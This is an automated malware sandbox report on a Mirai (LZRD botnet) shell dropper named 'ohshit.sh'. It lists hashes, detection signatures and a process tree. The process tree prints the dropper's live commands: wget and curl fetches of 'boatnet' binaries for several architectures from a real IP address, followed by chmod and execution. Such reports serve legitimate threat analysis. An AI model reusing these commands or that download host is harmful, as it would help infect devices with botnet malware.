Analysis

  • max time kernel
    60s
  • max time network
    63s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    31-08-2024 21:05

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    fefdf2b7ece4d55bd47778b420f84011

  • SHA1

    2823096e0538910f9b57ff9bae007ec655520fc3

  • SHA256

    3611c98f0a496d5891dc7888ed43a5d9b5eae8b1b27186dbe8b9b83922ae66eb

  • SHA512

    b1e1c59a9802ea141e48f395d3f5268c351687e7ca8758feb9b6882d51f230be3c72f657219816c82fa61bd811ce37bfb392c0a26d10d5b53bb333e7af03cf21

Score
10/10

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Executes dropped EXE 7 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Writes file to system bin folder 1 TTPs 2 IoCs
  • Reads runtime system information 7 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:699
    • /usr/bin/wget
      wget http://94.156.71.225/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:702
    • /usr/bin/curl
      curl -O http://94.156.71.225/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:713
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:727
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-ccaa101beeae40f1b359d416f45a956a-systemd-timedated.service-NPoiUQ WTF
        2⤵
          PID:728
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:730
        • /usr/bin/wget
          wget http://94.156.71.225/hiddenbin/boatnet.mips
          2⤵
          • Writes file to tmp directory
          PID:732
        • /usr/bin/curl
          curl -O http://94.156.71.225/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:801
        • /bin/cat
          cat boatnet.mips
          2⤵
            PID:810
          • /bin/chmod
            chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-ccaa101beeae40f1b359d416f45a956a-systemd-timedated.service-NPoiUQ WTF
            2⤵
              PID:811
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:812
            • /usr/bin/wget
              wget http://94.156.71.225/hiddenbin/boatnet.arc
              2⤵
              • Writes file to tmp directory
              PID:814
            • /usr/bin/curl
              curl -O http://94.156.71.225/hiddenbin/boatnet.arc
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:818
            • /bin/cat
              cat boatnet.arc
              2⤵
                PID:819
              • /bin/chmod
                chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
                2⤵
                  PID:820
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:821
                • /usr/bin/wget
                  wget http://94.156.71.225/hiddenbin/boatnet.i468
                  2⤵
                    PID:823
                  • /usr/bin/curl
                    curl -O http://94.156.71.225/hiddenbin/boatnet.i468
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:824
                  • /bin/cat
                    cat boatnet.i468
                    2⤵
                      PID:825
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF
                      2⤵
                        PID:826
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:827
                      • /usr/bin/wget
                        wget http://94.156.71.225/hiddenbin/boatnet.i686
                        2⤵
                          PID:828
                        • /usr/bin/curl
                          curl -O http://94.156.71.225/hiddenbin/boatnet.i686
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:829
                        • /bin/cat
                          cat boatnet.i686
                          2⤵
                            PID:830
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
                            2⤵
                              PID:831
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:832
                            • /usr/bin/wget
                              wget http://94.156.71.225/hiddenbin/boatnet.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:833
                            • /usr/bin/curl
                              curl -O http://94.156.71.225/hiddenbin/boatnet.x86_64
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:834
                            • /bin/cat
                              cat boatnet.x86_64
                              2⤵
                                PID:835
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                2⤵
                                  PID:836
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:837
                                • /usr/bin/wget
                                  wget http://94.156.71.225/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:839
                                • /usr/bin/curl
                                  curl -O http://94.156.71.225/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:840
                                • /bin/cat
                                  cat boatnet.mpsl
                                  2⤵
                                    PID:841
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                    2⤵
                                      PID:842
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      • Modifies Watchdog functionality
                                      • Writes file to system bin folder
                                      PID:843

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/WTF

                                    Filesize

                                    41KB

                                    MD5

                                    d209dadd662918c0360d992f693a4c88

                                    SHA1

                                    ff29a4cb9d0d2a4ad7e15f7523bdc5d5d681f990

                                    SHA256

                                    f461632cc61eaa9bcf7deb5dba0ca986c5ea65fb366fae6d329cee5458abd07d

                                    SHA512

                                    809bb6cea3b997755c9464d90f6b3e18b2a007c2b55dcb85ef475e72f632f6c0ea435c9fb7567741ff5233204e958d234ca7ec8e69bfdffff1a8c1dab7c55aba

                                  • /tmp/WTF

                                    Filesize

                                    113KB

                                    MD5

                                    b07b623c82c30103949e473cb8f1dc5b

                                    SHA1

                                    605c491a89e2d0e15f1e856c4f64592d63f7343b

                                    SHA256

                                    dc6da971003c88fdafa96d46017b5c53bc87cb3f081e0be4d1342865c85bf898

                                    SHA512

                                    23cd691cfae363b1194586f46403d58e1ea609c4655fba1eb295f344bd41b94ebbe15291b229678dcd3b72a8d2bff2dabfa645eb7e7f4b1d828168ed769d17b4

                                  • /tmp/WTF

                                    Filesize

                                    220B

                                    MD5

                                    f1c24d9fa40a047ae22d2d3ae7dfeac9

                                    SHA1

                                    750274b02d5f5b00026a4f55b020f4285c693533

                                    SHA256

                                    219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                    SHA512

                                    36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                  • /tmp/WTF

                                    Filesize

                                    220B

                                    MD5

                                    a8f502a6fb3b7b940e922c951d9e493a

                                    SHA1

                                    fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                    SHA256

                                    748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                    SHA512

                                    e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                  • /tmp/WTF

                                    Filesize

                                    41KB

                                    MD5

                                    664b42890b160712531140f74a6ab47f

                                    SHA1

                                    69e5e14ab80133b263346c98bbbc57560b9887e1

                                    SHA256

                                    1dd24db0f03ba2d6914002eda04248a0561513a47f55852666540bd23c582ef6

                                    SHA512

                                    d35bfda654489c7615e48ceed90b659730e40da09dc67272bbe6064853b8bbe2ccfb301e95d4488262f62741ceebceac43aa98af90f789036527588b0cc531c3

                                  • /tmp/boatnet.x86

                                    Filesize

                                    36KB

                                    MD5

                                    ba2cb5b8715ba94c39e24e75a34d0ea0

                                    SHA1

                                    7182bf3b0e14e5224e741c15174c6e93f00df444

                                    SHA256

                                    01fad47db364d66c0a9ed9c6c5c558c5a95eb0d015bec4be5f1109d14e15ec33

                                    SHA512

                                    0c26a32066b88dc22aada2ca606639e6717b84501402eac80107f7130fca6c43f6cd40e11e88ae1deda45320a6c726af04bf946818ef3099d84f31e523f9b33d